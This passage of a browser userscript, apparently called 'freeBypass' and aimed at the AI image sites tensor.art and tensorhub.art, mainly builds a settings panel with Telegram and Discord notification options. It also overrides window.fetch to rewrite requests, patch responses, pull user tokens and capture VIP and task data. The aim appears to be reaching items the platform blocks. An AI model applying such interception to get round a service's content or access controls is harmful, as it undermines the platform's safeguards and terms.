      localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
      if (settings.autoCheck) {
        startAutoCheck();
      } else {
        stopAutoCheck();
      }
    };
    autoCheckLabel.appendChild(autoCheckInput);
    autoCheckLabel.appendChild(document.createTextNode('Auto-check for Items'));
    section.appendChild(autoCheckLabel);

    // Check Interval (conditional)
    if (settings.autoCheck) {
      const intervalGroup = document.createElement('div');
      intervalGroup.className = 'flex flex-col gap-8';
      const intervalLabel = document.createElement('label');
      intervalLabel.style.cssText = 'display: block; font-weight: 600; font-size: 14px; margin-bottom: 8px;';
      intervalLabel.innerHTML = '<i class="fas fa-clock"></i> Check Interval (seconds)';
      const intervalInput = document.createElement('input');
      intervalInput.type = 'number';
      intervalInput.id = 'bypass-settings-interval';
      intervalInput.name = 'checkInterval';
      intervalInput.min = '5';
      intervalInput.max = '300';
      intervalInput.step = '5';
      intervalInput.value = settings.autoCheckInterval;
      intervalInput.style.cssText = `
        width: 100%;
        padding: 8px 12px;
        border: 1px solid #475569;
        border-radius: 6px;
        background: #1e293b;
        color: #f1f5f9;
        font-size: 14px;
      `;
      intervalInput.onclick = (e) => e.stopPropagation();
      intervalInput.onchange = () => {
        settings.autoCheckInterval = Math.max(5, parseInt(intervalInput.value) || 30);
        localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
        startAutoCheck();
      };
      intervalGroup.appendChild(intervalLabel);
      intervalGroup.appendChild(intervalInput);
      section.appendChild(intervalGroup);
    }

    // Caching toggle
    const cachingLabel = document.createElement('label');
    cachingLabel.style.cssText = `
      display: flex;
      align-items: center;
      gap: 12px;
      cursor: pointer;
      font-size: 14px;
      margin: 16px 0;
    `;
    const cachingInput = document.createElement('input');
    cachingInput.type = 'checkbox';
    cachingInput.checked = settings.cachingEnabled;
    cachingInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
    cachingInput.onchange = () => {
      const newValue = cachingInput.checked;
      if (!newValue) {
        const confirmed = confirm('⚠️ Warning: Disabling cache can cause performance issues and increase API requests.\n\nAre you sure you want to disable caching?');
        if (!confirmed) {
          cachingInput.checked = true;
          return;
        }
      }
      settings.cachingEnabled = newValue;
      localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
    };
    cachingLabel.appendChild(cachingInput);
    cachingLabel.appendChild(document.createTextNode('Enable URL Caching'));
    section.appendChild(cachingLabel);

    // Cache Duration (conditional)
    if (settings.cachingEnabled) {
      const cacheGroup = document.createElement('div');
      cacheGroup.className = 'flex flex-col gap-8';
      const cacheLabel = document.createElement('label');
      cacheLabel.style.cssText = 'display: block; font-weight: 600; font-size: 14px; margin-bottom: 8px;';
      cacheLabel.innerHTML = '<i class="fas fa-hourglass"></i> Cache Duration (Days)';
      const cacheInput = document.createElement('input');
      cacheInput.type = 'number';
      cacheInput.id = 'bypass-settings-cache-duration';
      cacheInput.name = 'cacheDuration';
      cacheInput.min = '1';
      cacheInput.max = '30';
      cacheInput.value = settings.cacheDuration;
      cacheInput.style.cssText = `
        width: 100%;
        padding: 8px 12px;
        border: 1px solid #475569;
        border-radius: 6px;
        background: #1e293b;
        color: #f1f5f9;
        font-size: 14px;
      `;
      cacheInput.onclick = (e) => e.stopPropagation();
      cacheInput.onchange = () => {
        settings.cacheDuration = Math.max(1, parseInt(cacheInput.value) || 7);
        localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
      };
      cacheGroup.appendChild(cacheLabel);
      cacheGroup.appendChild(cacheInput);
      section.appendChild(cacheGroup);
    }

    // Telegram toggle
    const telegramLabel = document.createElement('label');
    telegramLabel.style.cssText = `
      display: flex;
      align-items: center;
      gap: 12px;
      cursor: pointer;
      font-size: 14px;
      margin: 16px 0;
    `;
    const telegramInput = document.createElement('input');
    telegramInput.type = 'checkbox';
    telegramInput.checked = settings.telegramEnabled;
    telegramInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
    telegramInput.onchange = () => {
      settings.telegramEnabled = telegramInput.checked;
      localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
      injectSettingsIntoPage(true); // Refresh to show/hide Telegram fields
    };
    telegramLabel.appendChild(telegramInput);
    telegramLabel.appendChild(document.createTextNode('Enable Telegram Notifications'));
    section.appendChild(telegramLabel);

    // Telegram Token (conditional)
    if (settings.telegramEnabled) {
      const tgTokenGroup = document.createElement('div');
      tgTokenGroup.className = 'flex flex-col gap-8';
      const tgTokenLabel = document.createElement('label');
      tgTokenLabel.style.cssText = 'display: block; font-weight: 600; font-size: 14px; margin-bottom: 8px;';
      tgTokenLabel.innerHTML = '<i class="fab fa-telegram"></i> Bot Token';
      const tgTokenInput = document.createElement('input');
      tgTokenInput.id = 'bypass-settings-tg-token';
      tgTokenInput.name = 'telegramToken';
      tgTokenInput.type = 'password';
      tgTokenInput.placeholder = 'Enter your Telegram bot token';
      tgTokenInput.value = settings.telegramToken;
      tgTokenInput.style.cssText = `
        width: 100%;
        padding: 8px 12px;
        border: 1px solid #475569;
        border-radius: 6px;
        background: #1e293b;
        color: #f1f5f9;
        font-size: 14px;
      `;
      tgTokenInput.onclick = (e) => e.stopPropagation();
      tgTokenInput.onchange = () => {
        settings.telegramToken = tgTokenInput.value;
        localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
      };
      tgTokenGroup.appendChild(tgTokenLabel);
      tgTokenGroup.appendChild(tgTokenInput);
      section.appendChild(tgTokenGroup);

      const tgDelayGroup = document.createElement('div');
      tgDelayGroup.className = 'flex flex-col gap-8';
      const tgDelayLabel = document.createElement('label');
      tgDelayLabel.style.cssText = 'display: block; font-weight: 600; font-size: 14px; margin-bottom: 8px;';
      tgDelayLabel.innerHTML = '<i class="fas fa-stopwatch"></i> Telegram Delay (seconds)';
      const tgDelayInput = document.createElement('input');
      tgDelayInput.type = 'number';
      tgDelayInput.min = '0';
      tgDelayInput.max = '30';
      tgDelayInput.step = '1';
      tgDelayInput.value = settings.telegramDelaySeconds || 0;
      tgDelayInput.style.cssText = `
        width: 100%;
        padding: 8px 12px;
        border: 1px solid #475569;
        border-radius: 6px;
        background: #1e293b;
        color: #f1f5f9;
        font-size: 14px;
      `;
      tgDelayInput.onclick = (e) => e.stopPropagation();
      tgDelayInput.onchange = () => {
        settings.telegramDelaySeconds = Math.max(0, parseInt(tgDelayInput.value, 10) || 0);
        saveSettings();
      };
      tgDelayGroup.appendChild(tgDelayLabel);
      tgDelayGroup.appendChild(tgDelayInput);
      section.appendChild(tgDelayGroup);

      // Telegram status dialog (success/error messages)
      const tgStatus = document.createElement('div');
      tgStatus.id = 'bypass-tg-status';
      tgStatus.style.cssText = `
        padding: 10px 12px;
        border: 1px solid #475569;
        border-radius: 8px;
        background: rgba(30, 41, 59, 0.6);
        color: #e2e8f0;
        font-size: 12px;
        line-height: 1.5;
      `;
      tgStatus.textContent = settings.telegramChatId
        ? 'Telegram is configured. You can remove Chat ID to re-initialize.'
        : 'To initialize: open your bot chat, send /access, then click “Initialize Telegram”.';
      section.appendChild(tgStatus);

      // Chat ID input (injected when missing; readonly when present)
      const chatIdGroup = document.createElement('div');
      chatIdGroup.className = 'flex flex-col gap-8';
      const chatIdLabel = document.createElement('label');
      chatIdLabel.style.cssText = 'display: block; font-weight: 600; font-size: 14px; margin-bottom: 8px;';
      chatIdLabel.innerHTML = '<i class="fas fa-hashtag"></i> Chat ID';
      const chatIdInput = document.createElement('input');
      chatIdInput.id = 'bypass-settings-chat-id';
      chatIdInput.name = 'chatId';
      chatIdInput.type = 'text';
      chatIdInput.placeholder = 'Chat ID will appear here after initialization (or paste manually)';
      chatIdInput.value = settings.telegramChatId || '';
      chatIdInput.disabled = !!settings.telegramChatId;
      chatIdInput.style.cssText = `
        width: 100%;
        padding: 8px 12px;
        border: 1px solid #475569;
        border-radius: 6px;
        background: #1e293b;
        color: #f1f5f9;
        font-size: 14px;
        ${settings.telegramChatId ? 'opacity: 0.7; cursor: not-allowed;' : ''}
      `;
      chatIdInput.onclick = (e) => e.stopPropagation();
      chatIdInput.onchange = () => {
        if (settings.telegramChatId) return;
        settings.telegramChatId = chatIdInput.value.trim();
        localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
        tgStatus.textContent = settings.telegramChatId
          ? `Chat ID saved manually: ${settings.telegramChatId}`
          : 'Chat ID cleared.';
      };
      chatIdGroup.appendChild(chatIdLabel);
      // Inject input only when no chat id OR show readonly when set (matches request)
      chatIdGroup.appendChild(chatIdInput);
      section.appendChild(chatIdGroup);

      // Buttons row: Initialize + Uninitialize
      const tgBtnRow = document.createElement('div');
      tgBtnRow.style.cssText = 'display: flex; gap: 10px; width: 100%; flex-wrap: wrap;';

      const initBtn = createTensorButton('Initialize Telegram', 'primary');
      initBtn.onclick = async () => {
        const botToken = (settings.telegramToken || '').trim();
        if (!botToken) {
          tgStatus.textContent = 'Please enter Bot Token first.';
          return;
        }

        initBtn.disabled = true;
        tgStatus.textContent = '⏳ Waiting for /access... (checking getUpdates)';

        try {
          let chatId = null;
          let attempts = 0;
          const accessCommand = '/access';

          while (!chatId && attempts < 60) {
            const response = await fetch(`https://api.telegram.org/bot${botToken}/getUpdates`);
            const data = await response.json();

            const updates = Array.isArray(data.result) ? data.result : [];
            for (let i = updates.length - 1; i >= 0; i--) {
              const update = updates[i];
              const msg = update && update.message;
              const text = msg && typeof msg.text === 'string' ? msg.text.trim() : '';
              if (text === accessCommand && msg.chat && msg.chat.id) {
                chatId = String(msg.chat.id);
                break;
              }
            }

            if (!chatId) {
              await new Promise(r => setTimeout(r, 1000));
              attempts++;
            }
          }

          if (chatId) {
            settings.telegramChatId = chatId;
            localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
            tgStatus.textContent = `Success. Chat ID: ${chatId}`;
            injectSettingsIntoPage(true);
          } else {
            tgStatus.textContent = 'Timeout: No /access command received. Send /access to your bot chat, then try again.';
          }
        } catch (err) {
          tgStatus.textContent = `Error: ${err.message}`;
        } finally {
          initBtn.disabled = false;
        }
      };
      tgBtnRow.appendChild(initBtn);

      if (settings.telegramChatId) {
        const removeBtn = createTensorButton('Remove Chat ID', 'error');
        removeBtn.onclick = () => {
          settings.telegramChatId = '';
          localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
          tgStatus.textContent = 'Chat ID removed. You can re-initialize by sending /access then clicking Initialize.';
          injectSettingsIntoPage(true);
        };
        tgBtnRow.appendChild(removeBtn);
      }

      section.appendChild(tgBtnRow);
    }

    // Discord webhook section
    const discordLabel = document.createElement('label');
    discordLabel.style.cssText = 'display: flex; align-items: center; gap: 8px; font-weight: 600; cursor: pointer; margin-top: 16px;';
    const discordCheckbox = document.createElement('input');
    discordCheckbox.type = 'checkbox';
    discordCheckbox.checked = settings.discordEnabled;
    discordCheckbox.style.cssText = 'width: 18px; height: 18px; cursor: pointer;';
    discordCheckbox.onclick = (e) => e.stopPropagation();
    discordCheckbox.onchange = () => {
      settings.discordEnabled = discordCheckbox.checked;
      localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
      injectSettingsIntoPage(true);
    };
    discordLabel.appendChild(discordCheckbox);
    discordLabel.appendChild(document.createTextNode('Enable Discord Webhooks'));
    section.appendChild(discordLabel);

    if (settings.discordEnabled) {
      const webhookGroup = document.createElement('div');
      webhookGroup.className = 'flex flex-col gap-8';
      const webhookLabel = document.createElement('label');
      webhookLabel.style.cssText = 'display: block; font-weight: 600; font-size: 14px; margin-bottom: 8px;';
      webhookLabel.innerHTML = '<i class="fab fa-discord" style="color: #5865f2;"></i> Webhook URL';
      const webhookInput = document.createElement('input');
      webhookInput.id = 'bypass-settings-discord-webhook';
      webhookInput.name = 'discordWebhook';
      webhookInput.type = 'password';
      webhookInput.placeholder = 'https://discord.com/api/webhooks/...';
      webhookInput.value = settings.discordWebhook;
      webhookInput.style.cssText = `
        width: 100%;
        padding: 8px 12px;
        border: 1px solid #475569;
        border-radius: 6px;
        background: #1e293b;
        color: #f1f5f9;
        font-size: 14px;
      `;
      webhookInput.onclick = (e) => e.stopPropagation();
      webhookInput.onchange = () => {
        settings.discordWebhook = webhookInput.value.trim();
        localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
      };
      webhookGroup.appendChild(webhookLabel);
      webhookGroup.appendChild(webhookInput);

      const webhookHelp = document.createElement('div');
      webhookHelp.style.cssText = `
        padding: 10px 12px;
        border: 1px solid #475569;
        border-radius: 8px;
        background: rgba(30, 41, 59, 0.6);
        color: #e2e8f0;
        font-size: 12px;
        line-height: 1.5;
        margin-top: 8px;
      `;
      webhookHelp.innerHTML = `
        <strong>How to get your Discord webhook:</strong><br>
        1. Go to Server Settings → Integrations → Webhooks<br>
        2. Click "New Webhook" or edit an existing one<br>
        3. Copy the Webhook URL and paste it above
      `;
      webhookGroup.appendChild(webhookHelp);
      section.appendChild(webhookGroup);
    }

    // ============================================================================
    // SETTINGS MANAGEMENT SECTION (Export/Import/Profiles)
    // ============================================================================
    const settingsMgmtSection = document.createElement('div');
    settingsMgmtSection.style.cssText = 'margin-top: 24px; padding-top: 24px; border-top: 1px solid #475569;';

    const mgmtTitle = document.createElement('h3');
    mgmtTitle.style.cssText = 'font-weight: 600; font-size: 16px; margin-bottom: 16px; color: #cbd5e1;';
    mgmtTitle.innerHTML = '<i class="fas fa-folder"></i> Settings Management';
    settingsMgmtSection.appendChild(mgmtTitle);

    // Export/Import Row
    const exportImportRow = document.createElement('div');
    exportImportRow.style.cssText = 'display: flex; gap: 12px; margin-bottom: 20px;';

    const exportBtn = createTensorButton('<i class="fas fa-file-export"></i> Export Settings', 'primary');
    exportBtn.style.flex = '1';
    exportBtn.onclick = () => exportSettings();

    const importBtn = createTensorButton('<i class="fas fa-file-import"></i> Import Settings', 'default');
    importBtn.style.flex = '1';
    importBtn.onclick = () => importSettings();

    exportImportRow.appendChild(exportBtn);
    exportImportRow.appendChild(importBtn);
    settingsMgmtSection.appendChild(exportImportRow);

    // Settings Profiles
    const profilesTitle = document.createElement('h4');
    profilesTitle.style.cssText = 'font-weight: 600; font-size: 14px; margin-bottom: 12px; color: #cbd5e1;';
    profilesTitle.innerHTML = '<i class="fas fa-layer-group"></i> Settings Profiles';
    settingsMgmtSection.appendChild(profilesTitle);

    const profilesHelp = document.createElement('div');
    profilesHelp.style.cssText = `
      padding: 10px 12px;
      border-radius: 6px;
      background: rgba(51, 65, 85, 0.4);
      font-size: 12px;
      color: #cbd5e1;
      line-height: 1.5;
      margin-bottom: 12px;
    `;
    profilesHelp.innerHTML = '<i class="fas fa-info-circle"></i> Save and switch between different setting configurations.';
    settingsMgmtSection.appendChild(profilesHelp);

    const profilesList = document.createElement('div');
    profilesList.style.cssText = 'display: flex; flex-direction: column; gap: 8px; margin-bottom: 12px;';

    const savedProfiles = JSON.parse(localStorage.getItem('freeBypassSettingsProfiles') || '{}');
    const currentProfileName = localStorage.getItem('freeBypassCurrentProfile') || 'Default';

    Object.keys(savedProfiles).forEach(profileName => {
      const profileRow = document.createElement('div');
      profileRow.style.cssText = `
        display: flex;
        gap: 8px;
        align-items: center;
        padding: 10px;
        background: ${profileName === currentProfileName ? 'rgba(99, 102, 241, 0.15)' : '#1e293b'};
        border: 1px solid ${profileName === currentProfileName ? '#6366f1' : '#475569'};
        border-radius: 8px;
      `;

      const nameEl = document.createElement('div');
      nameEl.style.cssText = 'flex: 1; font-size: 14px; color: #f1f5f9; font-weight: ' + (profileName === currentProfileName ? '600' : '400') + ';';
      nameEl.textContent = profileName + (profileName === currentProfileName ? ' (Active)' : '');

      const loadBtn = createTensorButton('Load', 'default');
      loadBtn.style.flex = '0';
      loadBtn.style.padding = '4px 12px';
      loadBtn.style.fontSize = '12px';
      loadBtn.disabled = profileName === currentProfileName;
      loadBtn.onclick = () => loadSettingsProfile(profileName);

      const deleteBtn = createTensorButton('<i class="fas fa-trash"></i>', 'error');
      deleteBtn.style.flex = '0';
      deleteBtn.style.padding = '4px 10px';
      deleteBtn.style.fontSize = '12px';
      deleteBtn.onclick = () => deleteSettingsProfile(profileName);

      profileRow.appendChild(nameEl);
      profileRow.appendChild(loadBtn);
      profileRow.appendChild(deleteBtn);
      profilesList.appendChild(profileRow);
    });

    settingsMgmtSection.appendChild(profilesList);

    const saveProfileBtn = createTensorButton('<i class="fas fa-save"></i> Save Current as New Profile', 'primary');
    saveProfileBtn.onclick = () => saveSettingsProfile();
    settingsMgmtSection.appendChild(saveProfileBtn);

    section.appendChild(settingsMgmtSection);

    // Auto task detection toggle
    const autoTaskLabel = document.createElement('label');
    autoTaskLabel.style.cssText = 'display: flex; align-items: center; gap: 8px; font-weight: 600; cursor: pointer; margin-top: 16px;';
    const autoTaskCheckbox = document.createElement('input');
    autoTaskCheckbox.type = 'checkbox';
    autoTaskCheckbox.checked = settings.autoTaskDetection;
    autoTaskCheckbox.style.cssText = 'width: 18px; height: 18px; cursor: pointer;';
    autoTaskCheckbox.onclick = (e) => e.stopPropagation();
    autoTaskCheckbox.onchange = () => {
      settings.autoTaskDetection = autoTaskCheckbox.checked;
      localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
      if (settings.autoTaskDetection) {
        startTaskMonitoring();
      } else {
        stopTaskMonitoring();
      }
    };
    autoTaskLabel.appendChild(autoTaskCheckbox);
    autoTaskLabel.appendChild(document.createTextNode('Auto-detect blocked tasks'));

    const autoTaskHelp = document.createElement('div');
    autoTaskHelp.style.cssText = `
      margin-left: 26px;
      padding: 8px;
      font-size: 12px;
      color: #cbd5e1;
      font-style: italic;
    `;
    autoTaskHelp.textContent = 'Automatically adds blocked items when generation completes (no refresh needed)';
    section.appendChild(autoTaskLabel);
    section.appendChild(autoTaskHelp);

    // ============================================================================
    // TENSORHUB INTEGRATION SECTION
    // ============================================================================
    const { section: tensorhubSection, content: tensorhubContent } = createCollapsibleSection('TensorHub Integration', 'fa-link', false);
    section.appendChild(tensorhubSection);

    // Enable TensorHub Linker
    const tensorhubEnabledLabel = document.createElement('label');
    tensorhubEnabledLabel.style.cssText = `
      display: flex;
      align-items: center;
      gap: 12px;
      cursor: pointer;
      font-size: 14px;
      margin: 12px 0;
    `;
    const tensorhubEnabledCheckbox = document.createElement('input');
    tensorhubEnabledCheckbox.type = 'checkbox';
    tensorhubEnabledCheckbox.checked = settings.tensorhubLinkerEnabled;
    tensorhubEnabledCheckbox.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
    tensorhubEnabledCheckbox.onchange = () => {
      settings.tensorhubLinkerEnabled = tensorhubEnabledCheckbox.checked;
      saveSettings();
      injectSettingsIntoPage(true);
    };
    tensorhubEnabledLabel.appendChild(tensorhubEnabledCheckbox);
    tensorhubEnabledLabel.appendChild(document.createTextNode('Enable TensorHub Linker'));
    tensorhubContent.appendChild(tensorhubEnabledLabel);

    const tensorhubInfo = document.createElement('div');
    tensorhubInfo.style.cssText = `
      padding: 10px 12px;
      border-radius: 6px;
      background: rgba(51, 65, 85, 0.4);
      font-size: 12px;
      color: #cbd5e1;
      line-height: 1.5;
      margin: 12px 0;
    `;
    tensorhubInfo.innerHTML = '<i class="fas fa-info-circle"></i> Connect your TensorHub.art account to collect and sync tasks from both tensor.art and tensorhub.art domains.';
    tensorhubContent.appendChild(tensorhubInfo);

    if (settings.tensorhubLinkerEnabled) {
      // Link Tokens
      const linkTokensLabel = document.createElement('label');
      linkTokensLabel.style.cssText = `
        display: flex;
        align-items: center;
        gap: 12px;
        cursor: pointer;
        font-size: 14px;
        margin: 12px 0;
      `;
      const linkTokensCheckbox = document.createElement('input');
      linkTokensCheckbox.type = 'checkbox';
      linkTokensCheckbox.checked = settings.tensorhubLinkTokens;
      linkTokensCheckbox.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
      linkTokensCheckbox.onchange = () => {
        settings.tensorhubLinkTokens = linkTokensCheckbox.checked;
        saveSettings();
      };
      linkTokensLabel.appendChild(linkTokensCheckbox);
      linkTokensLabel.appendChild(document.createTextNode('Link User Tokens'));
      tensorhubContent.appendChild(linkTokensLabel);

      // Link Tasks
      const linkTasksLabel = document.createElement('label');
      linkTasksLabel.style.cssText = `
        display: flex;
        align-items: center;
        gap: 12px;
        cursor: pointer;
        font-size: 14px;
        margin: 12px 0;
      `;
      const linkTasksCheckbox = document.createElement('input');
      linkTasksCheckbox.type = 'checkbox';
      linkTasksCheckbox.checked = settings.tensorhubLinkTasks;
      linkTasksCheckbox.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
      linkTasksCheckbox.onchange = () => {
        settings.tensorhubLinkTasks = linkTasksCheckbox.checked;
        saveSettings();
      };
      linkTasksLabel.appendChild(linkTasksCheckbox);
      linkTasksLabel.appendChild(document.createTextNode('Link Tasks (Manual)'));
      tensorhubContent.appendChild(linkTasksLabel);

      const linkTasksHelp = document.createElement('div');
      linkTasksHelp.style.cssText = `
        margin-left: 26px;
        padding: 8px;
        font-size: 12px;
        color: #cbd5e1;
        font-style: italic;
      `;
      linkTasksHelp.innerHTML = '<i class="fas fa-lightbulb"></i> Visit tensorhub.art creation page and reload to manually save cached tasks. View all collected tasks in the Data Control tab.';
      tensorhubContent.appendChild(linkTasksHelp);

      // Run on TensorHub
      const runTensorhubLabel = document.createElement('label');
      runTensorhubLabel.style.cssText = `
        display: flex;
        align-items: center;
        gap: 12px;
        cursor: pointer;
        font-size: 14px;
        margin: 12px 0;
      `;
      const runTensorhubCheckbox = document.createElement('input');
      runTensorhubCheckbox.type = 'checkbox';
      runTensorhubCheckbox.checked = settings.runOnTensorhub;
      runTensorhubCheckbox.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
      runTensorhubCheckbox.onchange = () => {
        settings.runOnTensorhub = runTensorhubCheckbox.checked;
        saveSettings();
        if (settings.runOnTensorhub && window.location.hostname === 'tensorhub.art') {
          window.location.reload();
        }
      };
      runTensorhubLabel.appendChild(runTensorhubCheckbox);
      runTensorhubLabel.appendChild(document.createTextNode('Run on TensorHub'));
      tensorhubContent.appendChild(runTensorhubLabel);

      const runTensorhubHelp = document.createElement('div');
      runTensorhubHelp.style.cssText = `
        margin-left: 26px;
        padding: 8px;
        font-size: 12px;
        color: #cbd5e1;
        font-style: italic;
      `;
      runTensorhubHelp.innerHTML = '<i class="fas fa-rocket"></i> Enable full functionality on tensorhub.art domain including floating panel, direct links, and task detection.';
      tensorhubContent.appendChild(runTensorhubHelp);

      // Share Settings checkbox
      const shareSettingsLabel = document.createElement('label');
      shareSettingsLabel.style.cssText = `
        display: flex;
        align-items: center;
        gap: 12px;
        cursor: pointer;
        font-size: 14px;
        margin: 12px 0;
      `;
      const shareSettingsCheckbox = document.createElement('input');
      shareSettingsCheckbox.type = 'checkbox';
      shareSettingsCheckbox.checked = settings.tensorhubShareSettings || false;
      shareSettingsCheckbox.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
      shareSettingsCheckbox.onchange = () => {
        settings.tensorhubShareSettings = shareSettingsCheckbox.checked;
        saveSettings();
        if (settings.tensorhubShareSettings) {
          syncSettingsAcrossDomains();
        }
      };
      shareSettingsLabel.appendChild(shareSettingsCheckbox);
      shareSettingsLabel.appendChild(document.createTextNode('Share Settings Across Domains'));
      tensorhubContent.appendChild(shareSettingsLabel);

      const shareHelp = document.createElement('div');
      shareHelp.style.cssText = `
        margin-left: 26px;
        padding: 8px;
        font-size: 12px;
        color: #cbd5e1;
        font-style: italic;
      `;
      shareHelp.innerHTML = '<i class="fas fa-sync"></i> Automatically sync settings between tensor.art and tensorhub.art domains (excluding tokens/webhooks).';
      tensorhubContent.appendChild(shareHelp);

      // Sync status
      const syncStatusDiv = document.createElement('div');
      syncStatusDiv.id = 'tensorhub-sync-status';
      syncStatusDiv.style.cssText = `
        padding: 10px 12px;
        border-radius: 6px;
        background: rgba(34, 197, 94, 0.1);
        border-left: 3px solid #22c55e;
        font-size: 12px;
        color: #86efac;
        margin: 12px 0;
      `;
      syncStatusDiv.innerHTML = '<i class="fas fa-check-circle"></i> TensorHub Linker is ready. Tasks will sync when you visit tensorhub.art.';
      tensorhubContent.appendChild(syncStatusDiv);
    }

    // Network Headers section intentionally hidden on settings page for safety.

    // Append to settings container
    settingsContainer.appendChild(section);
    settingsInjected = true;
  }

  function startSettingsPageCheck() {
    if (settingsCheckInterval) clearInterval(settingsCheckInterval);
    settingsCheckInterval = setInterval(() => {
      try {
        injectSettingsIntoPage();
      } catch (e) {
        console.error('Settings injection error:', e);
      }
    }, 500);
  }

  function stopSettingsPageCheck() {
    if (settingsCheckInterval) {
      clearInterval(settingsCheckInterval);
      settingsCheckInterval = null;
    }
  }

  initTensorSiteRequestListeners();

  // Intercept fetch (Tensor-only)
  if (IS_TENSOR_DOMAIN) window.fetch = async function (...args) {
    const request = args[0];
    const tokenHint = extractTensorTokenFromRequest(args[0], args[1]);
    const rewritten = await rewriteTensorFetchArguments(args, 'sandbox-fetch');
    const fetchUrl = rewritten.fetchUrl || getInterceptedRequestUrl(request);
    const response = await originalFetch.apply(this, rewritten.args);
    const patchedResult = await patchTensorFetchResponseIfNeeded(response, fetchUrl, 'sandbox-fetch');
    let activeResponse = patchedResult.response || response;

    processTensorObservedResponse(fetchUrl, activeResponse, tokenHint).catch(() => {});
    processTensorObservedTaskResponse(fetchUrl, activeResponse).catch(() => {});

      // TensorHub API interception (when on tensorhub.art and enabled)
      const isTensorhubTasksEndpoint = fetchUrl.includes('api.tensorhub.art/works/v1/works/tasks/query');
      const isTensorhubVipEndpoint = fetchUrl.includes('api.tensorhub.art/vip/v1/user/vip-info');

      if (isTensorhubVipEndpoint && settings.runOnTensorhub && window.location.hostname === 'tensorhub.art') {
        try {
          const clonedResponse = activeResponse.clone();
          const body = await clonedResponse.json();
          if (body.data) {
            // Store tensorhub VIP info
            localStorage.setItem('freeBypassTensorhubVipInfo', JSON.stringify(body.data));
            console.log('[TensorHub] Captured VIP info');
          }
        } catch (e) {
          console.warn('[TensorHub] Failed to parse VIP response', e);
        }
      }

      if (isTensorhubTasksEndpoint && settings.runOnTensorhub && window.location.hostname === 'tensorhub.art') {
        try {
          const clonedResponse = activeResponse.clone();
          const body = await clonedResponse.json();
          if (body.data?.tasks && Array.isArray(body.data.tasks)) {
            // Process tensorhub tasks
            for (const task of body.data.tasks) {
              // Check if already cached
              if (!taskMap.has(task.id)) {
                const taskWithSource = {
                  ...task,
                  source: 'tensorhub.art',
                  recordedAt: Date.now()
                };
                taskMap.set(task.id, taskWithSource);
                recordTaskData(taskWithSource);

                // Cache to localStorage
                try {
                  const cached = JSON.parse(localStorage.getItem(CACHED_TASKS_KEY) || '{}');
                  cached[task.id] = taskWithSource;
                  localStorage.setItem(CACHED_TASKS_KEY, JSON.stringify(cached));
                } catch (e) {
                  console.error('[TensorHub] Cache error', e);
                }
              }
            }
            console.log('[TensorHub] Processed', body.data.tasks.length, 'tasks');
          }
        } catch (e) {
          console.warn('[TensorHub] Failed to process tasks response', e);
        }
      }

    return activeResponse;
  };

  // ============================================================================
  // SETTINGS MANAGEMENT FUNCTIONS
  // ============================================================================

  const SENSITIVE_SETTINGS_KEYS = new Set(['headers', 'telegramToken', 'telegramChatId', 'discordWebhook']);

  function deepCloneValue(value) {
    if (value == null) return value;
    try {
      // structuredClone is available in modern browsers.
      if (typeof structuredClone === 'function') return structuredClone(value);
    } catch {
      // ignore
    }
    try {
      return JSON.parse(JSON.stringify(value));
    } catch {
      // Last resort: return as-is (should be fine for primitives)
      return value;
    }
  }

  function buildSettingsAllowList() {
    return Object.keys(defaultSettings).filter(k => !SENSITIVE_SETTINGS_KEYS.has(k));
  }

  function sanitizeImportedSettings(rawSettings) {
    const input = rawSettings && typeof rawSettings === 'object' ? rawSettings : {};
    const allow = buildSettingsAllowList();
    const out = {};
    const skipped = [];

    const isPlainObject = (v) => v && typeof v === 'object' && !Array.isArray(v);

    for (const key of allow) {
      if (!(key in input)) continue;
      const incoming = input[key];
      const def = defaultSettings[key];

      // Preserve array/object shapes for known nested objects.
      if (key === 'position' && isPlainObject(incoming)) {
        out.position = { ...defaultSettings.position, ...incoming };
        continue;
      }
      if (key === 'telegramIncludeData' && isPlainObject(incoming)) {
        out.telegramIncludeData = { ...defaultSettings.telegramIncludeData, ...incoming };
        continue;
      }
      if (key === 'detailedInfoFields' && isPlainObject(incoming)) {
        out.detailedInfoFields = { ...defaultSettings.detailedInfoFields, ...incoming };
        continue;
      }

      // Arrays: accept only arrays.
      if (Array.isArray(def)) {
        if (Array.isArray(incoming)) {
          out[key] = deepCloneValue(incoming);
        } else {
          skipped.push({ key, reason: 'Expected array' });
        }
        continue;
      }

      // Objects: accept only plain objects.
      if (isPlainObject(def)) {
        if (isPlainObject(incoming)) {
          out[key] = deepCloneValue(incoming);
        } else {
          skipped.push({ key, reason: 'Expected object' });
        }
        continue;
      }

      // Primitives: basic type check.
      if (typeof def === 'boolean') {
        if (typeof incoming === 'boolean') out[key] = incoming;
        else skipped.push({ key, reason: 'Expected boolean' });
        continue;
      }
      if (typeof def === 'number') {
        const n = Number(incoming);
        if (Number.isFinite(n)) out[key] = n;
        else skipped.push({ key, reason: 'Expected number' });
        continue;
      }
      if (typeof def === 'string') {
        if (typeof incoming === 'string') out[key] = incoming;
        else skipped.push({ key, reason: 'Expected string' });
        continue;
      }

      // Fallback: clone.
      out[key] = deepCloneValue(incoming);
    }

    return { settings: out, skipped };
  }

  function diffSettings(before, after) {
    const allow = buildSettingsAllowList();
    const changes = [];
    const norm = (v) => {
      try {
        return JSON.stringify(v);
      } catch {
        return String(v);
      }
    };
    allow.forEach(k => {
      const b = before?.[k];
      const a = after?.[k];
      if (norm(b) !== norm(a)) changes.push(k);
    });
    return changes;
  }

  function showSettingsImportConfirmDialog({ fileName, version, changes, skipped, onConfirm }) {
    const colors = getThemeColors();
    const overlay = document.createElement('div');
